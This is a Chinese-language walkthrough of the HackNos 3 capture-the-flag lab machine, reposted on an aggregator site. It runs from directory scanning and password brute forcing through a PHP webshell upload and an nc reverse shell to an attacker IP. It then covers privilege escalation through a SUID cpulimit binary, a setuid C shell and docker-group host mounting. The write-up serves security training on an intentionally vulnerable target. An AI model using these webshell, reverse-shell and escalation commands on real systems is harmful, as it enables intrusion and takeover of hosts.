HackNos 3靶場

配置

進入控制面板配置網卡

第一步:啟動靶機時按下 shift 鍵,

  • 進入以下界面

image-20230811104648298

第二步:選擇第二個選項,然后按下 e 鍵,進入編輯界面

image-20230811104707659

將這里的ro修改為rw single init=/bin/bash,然后按ctrl+x,進入一個相當于控制臺的界面,里面可以執行命令

image-20230811104721458

ip a 查看一下實際用的網卡,這里是ens33

image-20230811104737405

這里和直接的不同

20.04的ubuntu已經不用/etc/network/interfaces來設置網絡了,變成在/etc/netplan下的文件來配置了

教程:Ubuntu Server 20.04 網卡啟動及配置(配置前請注意文件備份)_鄒霍梁@數字化企業的博客-CSDN博客

打開配置文件

sudo vim /etc/netplan/00-installer-config.yaml
1

按下i進入編輯模式,修改網卡為DHCP

network:  version: 2  ethernets:eth0:	# 這個以實際網卡為準dhcp4: true 
12345

修改為靜態ip:

network:version: 2ethernets:eth0:	# 這個以實際網卡為準dhcp4: noaddresses: [192.168.1.2/24]optional: truegateway4: 192.168.1.1nameservers:addresses: [218.2.135.1,8.8.8.8]
12345678910

注意yaml對縮進和空格要求嚴格

應用更改

sudo netplan apply

一、信息收集

獲取ip

目錄掃描

gobuster  dir -u  http://192.168.16.200/    -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

掃描出三個目錄

image-20230817170442281

二級目錄掃描

gobuster  dir -u  http://192.168.16.200/websec    -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

image-20230817170537524

登錄發現有一個郵箱,保存下來

http://192.168.16.200/websec/index

image-20230817170242902

在http://192.168.16.200/websec/login發現登錄后臺頁面,需要使用郵箱

image-20230817170637358

二、密碼爆破

1.bp爆破密碼

該后臺登錄頁面對登錄請求的IP進行了限制

去掉Cookie頭部字段后可以正常爆破

使用burpsuitr,抓包,默認的字典是沒辦法跑出來的

image-20230817173026039

字典獲取-工具cewl

Cewl是一款采用Ruby開發的應用程序,你可以給它的爬蟲指定URL地址和爬取深度,還可以添額外的外部鏈接,接下來Cewl會給你返回一個字典文件。

工具源地址:【傳送門】

使用cewl爬取網站信息然后生成目標網站字典文件

 cewl http://192.168.16.200/websec/ > cewl.txt

image-20230817174032380

image-20230817174314429

導入字典重新爆破

根據收集的網站信息,郵箱contact@hacknos.com,使用字典cewl.txt進行爆破

成功爆破出密碼 Securityx

image-20230817174505374

進入管理后臺了

image-20230817174658960

2.hydra爆破

這里還可以使用hrdra進行爆破

hardra教程參考:

無驗證碼]Web頁面_hydra爆破web_Yuri800的博客-CSDN博客

爆破語法:

hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"

參數解釋:

# -l 用戶名
# -P 密碼字典
# https-post-form、http-get-form、https-get-form -提交方式
#username=^USER^&password=^PASS^:Log In" username=^USER^&password=^PASS^,把在network中看到的POST提交的內容只是把用戶名和密碼部分換成了^USER^和^PASS^。USER對應前面的-l 后跟的用戶名root,PASS會被字典中的密碼逐個替換。:Log In表示成功

POST的內容就是一個簡單的鍵值對的形式(username=用戶名&password=密碼)

image-20230818091508465

爆破結果:

[80][http-post-form] host: 192.168.16.200 login: contact@hacknos.com password: Securityx

image-20230818092228231

三、后門上傳

進入后臺后,發現文件上傳點

image-20230818093050096

新建php文件,插入上傳一句話木馬文件

<?php system($_REQUEST['cmd']);?>

image-20230818105435322

可以看到后門文件上傳后的路徑

image-20230818105632070

訪問后門文件:

被禁止訪問

image-20230818105831278

返回查看htaccess配置文件

可以看到里面代碼對所有 .php 文件執行“拒絕訪問”的操作。

image-20230818110025191

刪除重新訪問

訪問中刪除admin后成功

http://192.168.16.200/websec/tmp/houmen.php?cmd=id

image-20230818111900737

四、nc反彈

抓取 后門后的數據包,修改請求為post請求

image-20230818113756931

kaili開啟nc監聽

image-20230818114116044

反彈使用:

linux反彈備忘錄 | (moonsec.com)

常用的一句話反彈shell總結_php一句話反彈shell_橘子女俠的博客-CSDN博客

image-20230818142207771

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.180 9002 >/tmp/f

編譯后執行

image-20230818144337844

切換到bash

python -c 'import pty;pty.spawn("/bin/bash")'

五、第一個flag

查看網站存放的目錄

www-data@hacknos:/var/www/html$ ls
ls
bg.jpg  devil  index.html  scripts  upload.php  websec
www-data@hacknos:/var/www/html$ cd websec
cd websec
www-data@hacknos:/var/www/html/websec$ ls
ls
Dockerfile  assets              config.php  log         sites   tmp
LICENSE     composer.json       index.php   robots.txt  src
app.yaml    config.default.php  lib         shell.php   themes

查看config.php文件內容

存放有數據庫賬號和密碼,可以留著后面使用

image-20230818144632175

查看賬號保存位置

cat  /etc/passwd 

image-20230818150533202

看到有個blackdevil用戶,查看旗下的user.txt

拿到第一個flag

image-20230818150647137

六、cpulimit提權

掃描suid文件

 find / -perm -u=s 2>/dev/null

image-20230818151728519

查找到SUID權限的命令:cpulimit

在Ubuntu中使用cpulimit限制進程的使用率_ubuntu 離線安裝 cpulimit__Slience_的博客-CSDN博客

用法
限制firefox使用30% cpu 利用率 cpulimit -e firefox -l 30
限制進程號1313的程序使用30% cpu 利用率 cpulimit -p 1313 -l 30
限制絕對路徑下該軟件的 cpu 利用率cpulimit -e /usr/local/nginx/sbin/nginx -l 50
停止當前限制Ctrl + C

查找用戶所創建的文件

find / -user 1000 2>/dev/null

image-20230818151629213

查看當前用戶可以使用的管理員命令

sudo -l

image-20230818154235411

使用cpulimit提權

1.kali編寫c代碼

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>int main()
{setuid(0);  #該函數用于設置實際用戶ID,將其設置為0,即root用戶的UID。這將把進程的權限提升為超級用戶。setgid(0);#類似于 setuid,此函數設置實際組ID,將其設置為0,即root組的GID。system("/bin/bash");# system 函數用于在新的進程中執行一個 shell 命令。在這里,它執行了 /bin/bash,啟動了一個交互式的 Bash Shell,因為Bash Shell位于 /bin/bash。return 0;#返回0表示執行成功#
}

image-20230818155046700

2.編譯代碼

gcc   a.c -o tiquanchmod 777 tiquan

image-20230818155350575

3.上傳到靶場

使用base64加密編譯好的文件

base64 tiquan 

image-20230818155758093

復制在靶場處新建文件

使用: stty cooked echo

或者pyton上傳

python -m http.server 8888
wget http://192.168.16.180:8888/tiquan

image-20230818161029017

4.使用cpulimit執行

方法一、命令提權

cpulimit -l 100 -f -- /bin/sh -p因為這里的cpulimit是可以執行suid權限
這個命令的目的是以限制的CPU使用率(在這里是100%)運行一個交互式Shell也為suid權限

直接提權成功

image-20230818161356923

方法二、腳本提權

使用剛剛編譯好的c語言提權代碼

執行

chmod +x tiquancpulimit -l 100 -f ./tiquan

七、docker提權

使用docker提權要先登錄

查看目錄

cat /var/local/database

image-20230818175653275

在線解密:

spreadsheet mimic - encode (spammimic.com)

全部復制

image-20230818175744686

解密得到密碼:Security@x@

image-20230818175800715

用戶登錄:blackdevil 密碼 : Security@x@

并且看到屬于docker組

image-20230818180007608

下載docker鏡像文件,啟動容器并掛載宿主機的根目錄

docker run -it -v /:/mnt alpine /bin/sh# alpine鏡像非常小非常適合用于提權
# 由于已經將宿主機根目錄掛載到了容器的/mnt/目錄下,因此在容器內,/mnt/目錄是一個完整的根目錄,可以使用chroot獲取到這個根目錄的完整root權限
chroot /mnt

image-20230819135533105

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/43242.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/43242.shtml
英文地址,請注明出處:http://en.pswp.cn/news/43242.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

數據結構的圖存儲結構

目錄 數據結構的圖存儲結構 圖存儲結構基本常識 弧頭和弧尾 入度和出度 (V1,V2) 和 的區別,v2> 集合 VR 的含義 路徑和回路 權和網的含義 圖存儲結構的分類 什么是連通圖&#xff0c;&#xff08;強&#xff09;連通圖詳解 強連通圖 什么是生成樹&#xff0c;生…

springboot集成ES

1.引入pom依賴2.application 配置3.JavaBean配置以及ES相關注解 3.1 Student實體類3.2 Teacher實體類3.3 Headmaster 實體類4. 啟動類配置5.elasticsearchRestTemplate 新增 5.1 createIndex && putMapping 創建索引及映射 5.1.1 Controller層5.1.2 service層5.1.3 ser…

leetcode做題筆記85最大矩形

給定一個僅包含 0 和 1 、大小為 rows x cols 的二維二進制矩陣&#xff0c;找出只包含 1 的最大矩形&#xff0c;并返回其面積。 示例 1&#xff1a; 思路一&#xff1a;單調棧 int maximalRectangle(char** matrix, int matrixSize, int* matrixColSize){int dp[matrixSize…

使用MAT分析OOM問題

OOM和內存泄漏在我們的工作中&#xff0c;算是相對比較容易出現的問題&#xff0c;一旦出現了這個問題&#xff0c;我們就需要對堆進行分析。 一般情況下&#xff0c;我們生產應用都會設置這樣的JVM參數&#xff0c;以便在出現OOM時&#xff0c;可以dump出堆內存文件&#xff…

基于libevent的tcp服務器

libevent使用教程_evutil_make_socket_nonblocking_易方達藍籌的博客-CSDN博客 一、準備 centos7下安裝libevent庫 yum install libevent yum install -y libevent-devel 二、代碼 server.cpp /** You need libevent2 to compile this piece of code Please see: http://li…

專訪 BlockPI:共建賬戶抽象未來的新一代 RPC 基礎設施

在傳統 RPC 服務板塊上&#xff0c;開發者一直飽受故障風險、運行環境混亂等難題的折磨。實現 RPC 服務的去中心化&#xff0c;且保持成本優勢和可擴展性&#xff0c;始終是區塊鏈基礎設施建設的重要命題之一。從 2018 年觀察中心化 RPC 供應商服務現狀開始&#xff0c;BlockPI…

內存管理(1)

內存管理&#xff08;1&#xff09; 1、各類型數據在內存中的存儲空間2、C內存管理方式2.1 針對于內置類型分析2.2 針對于自定義類型分析2.3 C語言與C在申請動態內存失敗時的區別 3、operator new 和 operator delete函數&#xff08;重點&#xff09;3.1 底層知識解析3.2 實現…

linux-shell腳本收集

創建同步腳本xsync mkdir -p /home/hadoop/bin && cd /home/hadoop/bin vim xsync#!/bin/bash#1. 判斷參數個數 if [ $# -lt 1 ] thenecho Not Arguementexit; fi#2. 遍歷集群所有機器 for host in node1 node2 node3 doecho $host #3. 遍歷所有目錄&#xff0c;挨…

web3:使用Docker-compose方式部署blockscout

最近做的項目,需要blockscout來部署一個區塊鏈瀏覽器,至于blockscout是什么,咱們稍后出一篇文章專門介紹下,本次就先介紹一下如何使用Docker-compose方式部署blockscout,以及過程中遇到的種種坑 目錄 先決條件我的環境準備工作Docker-compose1.安裝方式一:下載 Docker Co…

財務數據分析之現金流量表模板分享

現金流量表是我們常說的財務數據分析三表之一。它可以呈現一個企業的現金流情況&#xff0c;揭示企業經營管理健康狀態&#xff0c;但在實際使用中卻有總給人一種用不上、用不好的矛盾感。怎么才能把現金流量表做好&#xff1f;不如借鑒下大神的現金流量表模板。 下面介紹的是…

RabbitMQ-消息中間件學習記錄(what-how-why)

什么是消息中間件 簡單的來說就是消息隊列中間件&#xff0c;生產者發送消息到中間件&#xff0c;消息中間件用于 保存消息并發送消息到消費者。 消息中間件RabbitMQ的基本組件 1&#xff09;producer -生產者 2&#xff09;customer -消費者 3&#xff09;broker (經紀人)- M…

【Java 動態數據統計圖】動態數據統計思路案例(動態,排序,數組)四(116)

需求&#xff1a;&#xff1a;前端根據后端的返回數據&#xff1a;畫統計圖&#xff1b; 1.動態獲取地域數據以及數據中的平均值&#xff0c;按照平均值降序排序&#xff1b; 說明&#xff1a; X軸是動態的&#xff0c;有對應區域數據則展示&#xff1b; X軸 區域數據降序排序…

LabVIEW調用DLL傳遞結構體參數

LabVIEW 中調用動態庫接口時&#xff0c;如果是值傳遞的結構體&#xff0c;可以根據字段拆解為多個參數&#xff1b;如果參數為結構體指針&#xff0c;可用簇&#xff08;Cluster&#xff09;來匹配&#xff0c;其內存連續相當于單字節對齊。 1.值傳遞 接口定義&#xff1a; …

【FAQ】調用視頻匯聚平臺EasyCVR的iframe地址,視頻無法播放的原因排查

有用戶反饋&#xff0c;在調用iframe地址后嵌入用戶自己的前端頁面&#xff0c;視頻無法播放并且要求登錄。 安防監控視頻匯聚平臺EasyCVR基于云邊端一體化架構&#xff0c;具有強大的數據接入、處理及分發能力&#xff0c;可提供視頻監控直播、云端錄像、視頻云存儲、視頻集中…

視頻集中存儲EasyCVR視頻匯聚平臺定制項目增加AI智能算法

安防視頻集中存儲EasyCVR視頻匯聚平臺&#xff0c;可支持海量視頻的輕量化接入與匯聚管理。平臺能提供視頻存儲磁盤陣列、視頻監控直播、視頻輪播、視頻錄像、云存儲、回放與檢索、智能告警、服務器集群、語音對講、云臺控制、電子地圖、平臺級聯、H.265自動轉碼等功能。為了便…

【Unity每日一記】Physics.Raycast 相關_Unity中的“X光射線”

&#x1f468;?&#x1f4bb;個人主頁&#xff1a;元宇宙-秩沅 &#x1f468;?&#x1f4bb; hallo 歡迎 點贊&#x1f44d; 收藏? 留言&#x1f4dd; 加關注?! &#x1f468;?&#x1f4bb; 本文由 秩沅 原創 &#x1f468;?&#x1f4bb; 收錄于專欄&#xff1a;uni…

05_bitmaphyperloglogGEO

Bitmap&hyperloglog&GEO 面試問 記錄對集合中的數據進行統計在移動應用中&#xff0c;需要統計每天的新增用戶數和第2天的留存用戶數&#xff1b;在電商網站的商品評論中&#xff0c;需要統計評論列表中的最新評論&#xff1a;在簽到打卡中&#xff0c;需要統計一個月內…

Python “貪吃蛇”游戲,在不斷改進中學習pygame編程

目錄 前言 改進過程一 增加提示信息 原版幫助摘要 pygame.draw pygame.font class Rect class Surface 改進過程二 增加顯示得分 改進過程三 增加背景景樂 增加提示音效 音樂切換 靜音切換 mixer.music.play 注意事項 原版幫助摘要 pygame.mixer pygame.mix…

kvm和vmware有什么區別?如何選擇?

一、kvm和vmware的區別 VMware vSphere 平臺 VMware 可以提供 ESXi 虛擬機監控程序和 vSphere 虛擬化平臺。VMware ESXi 是一個能夠直接安裝到物理服務器上的裸機虛擬機監控程序&#xff0c;可以幫你整合硬件。你可以用 VMware 的虛擬化技術來創建和部署虛擬機&#xff08;VM…

HTML詳解連載(7)

HTML詳解連載&#xff08;7&#xff09; 專欄鏈接 [link](http://t.csdn.cn/xF0H3)下面進行專欄介紹 開始嘍結構偽類選擇器作用 :nth-child&#xff08;公式&#xff09;作用舉例 偽元素選擇器作用注意&#xff1a; PxCoook作用盒子模型-重要組成部分 盒子模型-邊框線屬性名屬性…